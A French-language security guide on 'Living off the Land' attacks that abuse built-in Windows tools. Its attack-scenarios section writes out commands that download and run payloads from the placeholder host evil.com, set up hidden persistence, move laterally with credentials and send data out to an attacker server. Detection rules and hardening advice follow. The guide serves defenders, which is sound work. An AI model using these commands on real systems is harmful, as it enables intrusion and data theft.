Les attaquants utilisent de plus en plus vos propres outils système légitimes pour mener leurs attaques. Cette technique “Living off the Land” (LotL) permet d’éviter la détection en exploitant PowerShell, WMI, certutil, bitsadmin et autres binaires signés par Microsoft.
🎯 Objectif des attaquants : mener une attaque complète (reconnaissance, persistence, exfiltration, mouvement latéral) en utilisant uniquement des outils présents par défaut sur les systèmes cibles.
💡 Conseil : Les LOLBins sont des outils légitimes détournés. La détection doit se baser sur le contexte d’usage (qui, quand, comment) plutôt que sur la simple présence du binaire.
⚠️ Alerte : PowerShell est l’outil le plus utilisé dans les attaques Living off the Land. Son monitoring exhaustif (logging + AMSI) est indispensable dans tout environnement Windows.
🔍 Hunting tip : Cherchez les chaînes de processus inhabituelles : un processus bureautique (Word, Excel) qui lance cmd.exe ou PowerShell est souvent le signe d’une compromission.
🔎 Scénarios d’Attaque
1. Reconnaissance avec outils natifs
- Vecteur : énumération avec net.exe, whoami.exe, tasklist.exe
- Exploitation : découverte de l’environnement sans outils externes
- Commandes :
net user /domain net group "Domain Admins" /domain tasklist /svc ipconfig /all - Impact : cartographie complète du réseau et des privilèges
2. Téléchargement de payload via outils légitimes
- Vecteur : bitsadmin, certutil, powershell pour télécharger du malware
- Exploitation :
bitsadmin /transfer myDownloadJob /download /priority normal "http://evil.com/payload.exe" "C:\temp\payload.exe" certutil -urlcache -split -f "http://evil.com/script.ps1" script.ps1 powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')" - Impact : contournement des contrôles de téléchargement
3. Exécution de code via binaires signés (LOLBins)
- Vecteur : détournement de binaires Microsoft légitimes
- Exploitation :
# Rundll32 pour exécuter du code rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://evil.com/script.sct") # Regsvr32 pour bypass Application Whitelisting regsvr32 /s /n /u /i:http://evil.com/script.sct scrobj.dll # MSBuild pour compiler et exécuter du code MSBuild.exe payload.csproj - Impact : exécution de code malveillant avec signature Microsoft
4. Persistence via tâches planifiées et WMI
- Vecteur : schtasks.exe, wmic.exe pour créer de la persistence
- Exploitation :
schtasks /create /tn "SystemUpdate" /tr "powershell -WindowStyle hidden -c IEX..." /sc minute /mo 30 wmic process call create "powershell -WindowStyle hidden -encodedcommand [BASE64]" - Impact : persistence indétectable avec outils système
5. Mouvement latéral avec PsExec-like
- Vecteur : wmic, winrm pour exécution distante
- Exploitation :
wmic /node:target /user:domain\user /password:pass process call create "cmd.exe /c [COMMAND]" winrs -r:target -u:domain\user -p:pass cmd - Impact : propagation sans outils tiers sur le réseau
6. Exfiltration via outils de transfert légitimes
- Vecteur : robocopy, xcopy, bitsadmin pour exfiltrer des données
- Exploitation :
robocopy "C:\SensitiveData" "\\attacker-server\share" /E /R:0 /W:0 bitsadmin /transfer exfil /upload /priority high "C:\data.zip" "http://evil.com/upload.php" - Impact : exfiltration de données via canaux légitimes
🧪 Exemples d’Attaques Récentes (2020-2025)
| Groupe APT/Malware | LOLBins utilisés | Technique | Impact | Référence |
|---|---|---|---|---|
| Lazarus Group | PowerShell, WMIC, BITSAdmin | Téléchargement payload, execution WMI | Attaques supply chain, vol crypto | CISA Advisory |
| APT29 (Cozy Bear) | PowerShell, CertUtil, RegSvr32 | Téléchargement via CertUtil, exec via RegSvr32 | Compromission gov/entreprises | Microsoft Threat Intelligence |
| FIN7 Group | PowerShell, BITSAdmin, WScript | Téléchargement BITSAdmin, scripts WScript | Vol carte crédit, retail breaches | FireEye Report |
| SolarWinds SUNBURST | PowerShell, NetSH, TaskSched | C2 via NetSH, persistence TaskSched | Supply chain compromise majeur | Microsoft Analysis |
✅ Bonnes pratiques
🔐 Contrôle d’exécution et whitelisting
Application Control
- Windows Defender Application Control (WDAC) : politique restrictive sur binaires autorisés
- Device Guard : protection kernel-mode et user-mode
- AppLocker : contrôle granulaire des exécutables, scripts, DLLs
- Software Restriction Policies : pour environnements legacy
Script Control
- PowerShell Execution Policy : Restricted/AllSigned sur tous les postes
- PowerShell Constrained Language Mode : limitation des cmdlets disponibles
- Script Block Logging : enregistrement de tous les scripts PowerShell
- Antimalware Scan Interface (AMSI) : inspection des scripts avant exécution
Signature Verification
- Code Signing enforcement : uniquement les binaires signés par CA approuvées
- Catalog signing : vérification des hashes de fichiers système
- SmartScreen : protection contre téléchargements malveillants
- Control Flow Guard (CFG) : protection contre corruption mémoire
🛡️ Monitoring et détection
PowerShell Monitoring
- PowerShell Script Block Logging (Event ID 4104) : tous les scripts exécutés
- PowerShell Module Logging (Event ID 4103) : cmdlets invoquées
- PowerShell Transcription : enregistrement complet des sessions
- SIEM Rules : détection de patterns suspects :
# Téléchargements PowerShell suspects powershell.*DownloadString powershell.*WebClient powershell.*Invoke-WebRequest # Exécution de code en mémoire powershell.*IEX powershell.*Invoke-Expression powershell.*EncodedCommand
Process Monitoring
- Sysmon : logging détaillé des créations de processus
- Windows Event Log : Security Event ID 4688 (Process Creation)
- EDR Solutions : Behavioral analysis des processus
- Parent-Child Process Analysis : détection de chaînes suspectes
cmd.exe -> powershell.exe -> regsvr32.exe winword.exe -> cmd.exe -> bitsadmin.exe outlook.exe -> powershell.exe -> certutil.exe
Network Monitoring
- DNS Monitoring : requêtes DNS inhabituelles depuis binaires système
- HTTP/HTTPS Traffic Analysis : connexions depuis certutil, bitsadmin
- Beacon Detection : communications C2 régulières
- Data Exfiltration Detection : volumes de transfert anormaux
Registry & File System
- Registry Monitoring : créations de clés de persistence
- File System Monitoring : créations de fichiers dans %TEMP%, %APPDATA%
- Scheduled Tasks Monitoring : nouvelles tâches créées
- WMI Event Monitoring : souscriptions WMI persistantes
👁️ Hunting et investigation
Hunt Queries (KQL/Splunk)
// PowerShell avec téléchargements
SecurityEvent
| where EventID == 4688
| where Process contains "powershell.exe"
| where CommandLine contains "DownloadString" or CommandLine contains "WebClient"
// LOLBins suspects avec arguments de téléchargement
SecurityEvent
| where EventID == 4688
| where Process in ("certutil.exe", "bitsadmin.exe", "regsvr32.exe")
| where CommandLine contains "http" or CommandLine contains "ftp"
// Chaînes de processus suspectes
SecurityEvent
| where EventID == 4688
| extend ParentProcess = tostring(split(ParentProcessName, '\\')[-1])
| where ParentProcess in ("winword.exe", "excel.exe", "outlook.exe")
and Process in ("cmd.exe", "powershell.exe", "wscript.exe")
Indicateurs de compromission (IOCs)
- Commandes PowerShell encodées : -EncodedCommand [BASE64]
- Téléchargements via binaires système : certutil -urlcache, bitsadmin /transfer
- Exécution indirecte : rundll32 javascript:, regsvr32 /i:http
- Persistence suspecte : schtasks avec PowerShell, WMI event consumers
- Mouvement latéral : wmic /node, winrs avec credentials
YARA Rules
rule LOLBin_PowerShell_Download
{
strings:
$a1 = "powershell" nocase
$a2 = "DownloadString" nocase
$a3 = "WebClient" nocase
$a4 = "IEX" nocase
condition:
$a1 and ($a2 or $a3) and $a4
}
rule LOLBin_Certutil_Download
{
strings:
$b1 = "certutil" nocase
$b2 = "-urlcache" nocase
$b3 = "-split" nocase
$b4 = "http" nocase
condition:
$b1 and $b2 and $b4
}
🚨 Hardening et prévention
PowerShell Hardening
- Constrained Language Mode : limitation des fonctionnalités disponibles
- Just Enough Administration (JEA) : sessions PowerShell restreintes
- Module Logging : traçabilité complète des cmdlets
- Execution Policy : AllSigned ou Restricted sur tous les postes
- AMSI Protection : détection de scripts malveillants
System Hardening
- Disable unnecessary services : BITS si non utilisé, WinRM si non nécessaire
- Remove/Rename LOLBins : certutil, bitsadmin si usage non justifié
- Path restrictions : limiter l’accès aux binaires système sensibles
- User Account Control (UAC) : Always Notify pour limiter élévations
Network Controls
- Proxy/Web Filtering : bloquer téléchargements depuis outils système
- DNS Filtering : blocage de domaines malveillants
- Application Layer Gateway : inspection des protocoles applicatifs
- Microsegmentation : limitation des communications inter-postes
🛠️ Outils & Solutions
Détection et monitoring
- Microsoft Defender for Endpoint : détection comportementale avancée
- CrowdStrike Falcon : hunt et détection LOLBins
- SentinelOne : behavioral AI pour détecter les techniques LotL
- Carbon Black : monitoring de processus et détection d’anomalies
- Sysmon (Microsoft) : logging détaillé des événements système
SIEM et Analytics
- Microsoft Sentinel : analytics pré-configurées pour LOLBins
- Splunk : règles de détection PowerShell et processus suspects
- Elastic Security : détection de techniques MITRE ATT&CK
- IBM QRadar : corrélation d’événements système
Application Control
- Microsoft WDAC : Device Guard et Application Control
- Symantec Application Control : whitelisting d’applications
- McAfee Application Control : contrôle granulaire d’exécution
- Airlock Digital : application whitelisting enterprise
Threat Hunting
- MITRE ATT&CK Navigator : mapping des techniques LOLBins
- Sigma Rules : règles de détection standardisées
- Velociraptor : DFIR et hunt sur endpoints
- GRR (Google Rapid Response) : investigation à distance
📋 Checklist de sécurisation
✅ Immédiat
- Activer PowerShell Script Block Logging sur tous les postes
- Configurer Execution Policy à AllSigned/Restricted
- Déployer Sysmon avec configuration complète
- Identifier tous les LOLBins présents dans l’environnement
- Créer des règles SIEM de base pour PowerShell suspects
✅ Court terme
- Implémenter PowerShell Constrained Language Mode
- Activer Windows Defender Application Control (WDAC)
- Déployer AMSI pour la protection des scripts
- Créer des règles de détection pour chaînes de processus suspectes
- Monitoring des téléchargements via certutil/bitsadmin
- Formation équipe SOC sur techniques LOLBins
✅ Moyen terme
- Déployer une solution EDR avec détection comportementale
- Implémenter Just Enough Administration (JEA)
- Créer des playbooks d’investigation pour techniques LotL
- Développer des hunt queries personnalisées
- Audit et hardening des binaires système sensibles
- Tests red team simulant des attaques LOLBins
- Mise en place de proxy/filtrage web pour bloquer téléchargements
✅ Long terme
- Architecture Zero Trust avec microsegmentation
- Programme de threat hunting continu sur techniques LotL
- Développement de signatures YARA personnalisées
- Certification équipe sur MITRE ATT&CK et techniques LotL
- Revue et optimisation des contrôles Application Control
- Exercices de simulation d’incident basés sur LOLBins
- Veille continue sur nouvelles techniques Living off the Land
- Contribution à la base LOLBAS (LOLBins and Scripts)
🔗 Ressources complémentaires
Bases de données et références
- LOLBAS (Living Off The Land Binaries and Scripts) - Base de données complète des LOLBins
- MITRE ATT&CK - Defense Evasion - Techniques d’évasion incluant LOLBins
- GTFOBins - Équivalent Unix/Linux des LOLBins
- WADComs - Windows/AD Environment Commands
Outils de détection et règles
- Sigma Rules - Règles de détection standardisées
- Atomic Red Team - Tests de détection ATT&CK
- Sysmon Config - Configuration Sysmon optimisée
- PowerShell♥Logging - Guide logging PowerShell
Outils open source
- Velociraptor - Endpoint visibility et hunting
- OSQuery - Instrumentation système SQL
- Sysmon - System activity monitor
- PowerShell Empire - Framework post-exploitation (pour tests)